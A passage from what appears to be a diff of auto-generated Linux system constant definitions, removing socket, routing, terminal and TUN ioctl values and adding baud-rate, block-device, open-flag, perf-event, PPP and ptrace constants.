-- RLIMIT_NOFILE = 0x7
-- RLIMIT_NPROC = 0x6
-- RLIMIT_RSS = 0x5
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x541b
-- SIOCOUTQ = 0x5411
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x2
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x800
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0x1
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1e
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x6
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x27
-- SO_DONTROUTE = 0x5
-- SO_ERROR = 0x4
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x9
-- SO_LINGER = 0xd
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0xa
-- SO_PASSCRED = 0x10
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x11
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1f
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x26
-- SO_RCVBUF = 0x8
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x12
-- SO_RCVTIMEO = 0x14
-- SO_REUSEADDR = 0x2
-- SO_REUSEPORT = 0xf
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x7
-- SO_SNDBUFFORCE = 0x20
-- SO_SNDLOWAT = 0x13
-- SO_SNDTIMEO = 0x15
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x3
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x540b
-- TCGETA = 0x5405
-- TCGETS = 0x5401
-- TCGETS2 = 0x802c542a
-- TCGETX = 0x5432
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x2
-- TCSBRK = 0x5409
-- TCSBRKP = 0x5425
-- TCSETA = 0x5406
-- TCSETAF = 0x5408
-- TCSETAW = 0x5407
-- TCSETS = 0x5402
-- TCSETS2 = 0x402c542b
-- TCSETSF = 0x5404
-- TCSETSF2 = 0x402c542d
-- TCSETSW = 0x5403
-- TCSETSW2 = 0x402c542c
-- TCSETX = 0x5433
-- TCSETXF = 0x5434
-- TCSETXW = 0x5435
-- TCXONC = 0x540a
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x541d
-- TIOCEXCL = 0x540c
-- TIOCGDEV = 0x80045432
-- TIOCGETD = 0x5424
-- TIOCGEXCL = 0x80045440
-- TIOCGICOUNT = 0x545d
-- TIOCGLCKTRMIOS = 0x5456
-- TIOCGPGRP = 0x540f
-- TIOCGPKT = 0x80045438
-- TIOCGPTLCK = 0x80045439
-- TIOCGPTN = 0x80045430
-- TIOCGRS485 = 0x542e
-- TIOCGSERIAL = 0x541e
-- TIOCGSID = 0x5429
-- TIOCGSOFTCAR = 0x5419
-- TIOCGWINSZ = 0x5413
-- TIOCINQ = 0x541b
-- TIOCLINUX = 0x541c
-- TIOCMBIC = 0x5417
-- TIOCMBIS = 0x5416
-- TIOCMGET = 0x5415
-- TIOCMIWAIT = 0x545c
-- TIOCMSET = 0x5418
-- TIOCM_CAR = 0x40
-- TIOCM_CD = 0x40
-- TIOCM_CTS = 0x20
-- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x80
-- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x10
-- TIOCM_ST = 0x8
-- TIOCNOTTY = 0x5422
-- TIOCNXCL = 0x540d
-- TIOCOUTQ = 0x5411
-- TIOCPKT = 0x5420
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x540e
-- TIOCSERCONFIG = 0x5453
-- TIOCSERGETLSR = 0x5459
-- TIOCSERGETMULTI = 0x545a
-- TIOCSERGSTRUCT = 0x5458
-- TIOCSERGWILD = 0x5454
-- TIOCSERSETMULTI = 0x545b
-- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x5423
-- TIOCSIG = 0x40045436
-- TIOCSLCKTRMIOS = 0x5457
-- TIOCSPGRP = 0x5410
-- TIOCSPTLCK = 0x40045431
-- TIOCSRS485 = 0x542f
-- TIOCSSERIAL = 0x541f
-- TIOCSSOFTCAR = 0x541a
-- TIOCSTI = 0x5412
-- TIOCSWINSZ = 0x5414
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x100
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x401054d5
-- TUNDETACHFILTER = 0x401054d6
-- TUNGETFEATURES = 0x800454cf
-- TUNGETFILTER = 0x801054db
-- TUNGETIFF = 0x800454d2
-- TUNGETSNDBUF = 0x800454d3
-- TUNGETVNETBE = 0x800454df
-- TUNGETVNETHDRSZ = 0x800454d7
-- TUNGETVNETLE = 0x800454dd
-- TUNSETDEBUG = 0x400454c9
-- TUNSETGROUP = 0x400454ce
-- TUNSETIFF = 0x400454ca
-- TUNSETIFINDEX = 0x400454da
-- TUNSETLINK = 0x400454cd
-- TUNSETNOCSUM = 0x400454c8
-- TUNSETOFFLOAD = 0x400454d0
-- TUNSETOWNER = 0x400454cc
-- TUNSETPERSIST = 0x400454cb
-- TUNSETQUEUE = 0x400454d9
-- TUNSETSNDBUF = 0x400454d4
-- TUNSETTXFILTER = 0x400454d1
-- TUNSETVNETBE = 0x400454de
-- TUNSETVNETHDRSZ = 0x400454d8
-- TUNSETVNETLE = 0x400454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x4
-- VEOL = 0xb
-- VEOL2 = 0x10
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x6
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x40
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x80081270
-+ BLKBSZSET = 0x40081271
-+ BLKFLSBUF = 0x1261
-+ BLKFRAGET = 0x1265
-+ BLKFRASET = 0x1264
-+ BLKGETSIZE = 0x1260
-+ BLKGETSIZE64 = 0x80081272
-+ BLKPBSZGET = 0x127b
-+ BLKRAGET = 0x1263
-+ BLKRASET = 0x1262
-+ BLKROGET = 0x125e
-+ BLKROSET = 0x125d
-+ BLKRRPART = 0x125f
-+ BLKSECTGET = 0x1267
-+ BLKSECTSET = 0x1266
-+ BLKSSZGET = 0x1268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x1000
-+ FS_IOC_ENABLE_VERITY = 0x40806685
-+ FS_IOC_GETFLAGS = 0x80086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-+ F_GETLK = 0x5
-+ F_GETLK64 = 0x5
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0x6
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0x7
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x8000
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x7b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x2000
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x4000
-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x40
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0xb703
-+ NS_GET_OWNER_UID = 0xb704
-+ NS_GET_PARENT = 0xb702
-+ NS_GET_USERNS = 0xb701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x4000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x2401
-+ PERF_EVENT_IOC_ENABLE = 0x2400
-+ PERF_EVENT_IOC_ID = 0x80082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x4008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-+ PERF_EVENT_IOC_PERIOD = 0x40082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x2402
-+ PERF_EVENT_IOC_RESET = 0x2403
-+ PERF_EVENT_IOC_SET_BPF = 0x40042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x40082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-+ PPPIOCATTACH = 0x4004743d
-+ PPPIOCATTCHAN = 0x40047438
-+ PPPIOCCONNECT = 0x4004743a
-+ PPPIOCDETACH = 0x4004743c
-+ PPPIOCDISCONN = 0x7439
-+ PPPIOCGASYNCMAP = 0x80047458
-+ PPPIOCGCHAN = 0x80047437
-+ PPPIOCGDEBUG = 0x80047441
-+ PPPIOCGFLAGS = 0x8004745a
-+ PPPIOCGIDLE = 0x8010743f
-+ PPPIOCGIDLE32 = 0x8008743f
-+ PPPIOCGIDLE64 = 0x8010743f
-+ PPPIOCGL2TPSTATS = 0x80487436
-+ PPPIOCGMRU = 0x80047453
-+ PPPIOCGRASYNCMAP = 0x80047455
-+ PPPIOCGUNIT = 0x80047456
-+ PPPIOCGXASYNCMAP = 0x80207450
-+ PPPIOCSACTIVE = 0x40107446
-+ PPPIOCSASYNCMAP = 0x40047457
-+ PPPIOCSCOMPRESS = 0x4010744d
-+ PPPIOCSDEBUG = 0x40047440
-+ PPPIOCSFLAGS = 0x40047459
-+ PPPIOCSMAXCID = 0x40047451
-+ PPPIOCSMRRU = 0x4004743b
-+ PPPIOCSMRU = 0x40047452
-+ PPPIOCSNPMODE = 0x4008744b
-+ PPPIOCSPASS = 0x40107447
-+ PPPIOCSRASYNCMAP = 0x40047454
-+ PPPIOCSXASYNCMAP = 0x4020744f
-+ PPPIOCXFERUNIT = 0x744e
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ PTRACE_DISABLE_TE = 0x5010
-+ PTRACE_ENABLE_TE = 0x5009
-+ PTRACE_GET_LAST_BREAK = 0x5006
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_PEEKDATA_AREA = 0x5003
-+ PTRACE_PEEKTEXT_AREA = 0x5002
-+ PTRACE_PEEKUSR_AREA = 0x5000
-+ PTRACE_PEEK_SYSTEM_CALL = 0x5007
-+ PTRACE_POKEDATA_AREA = 0x5005
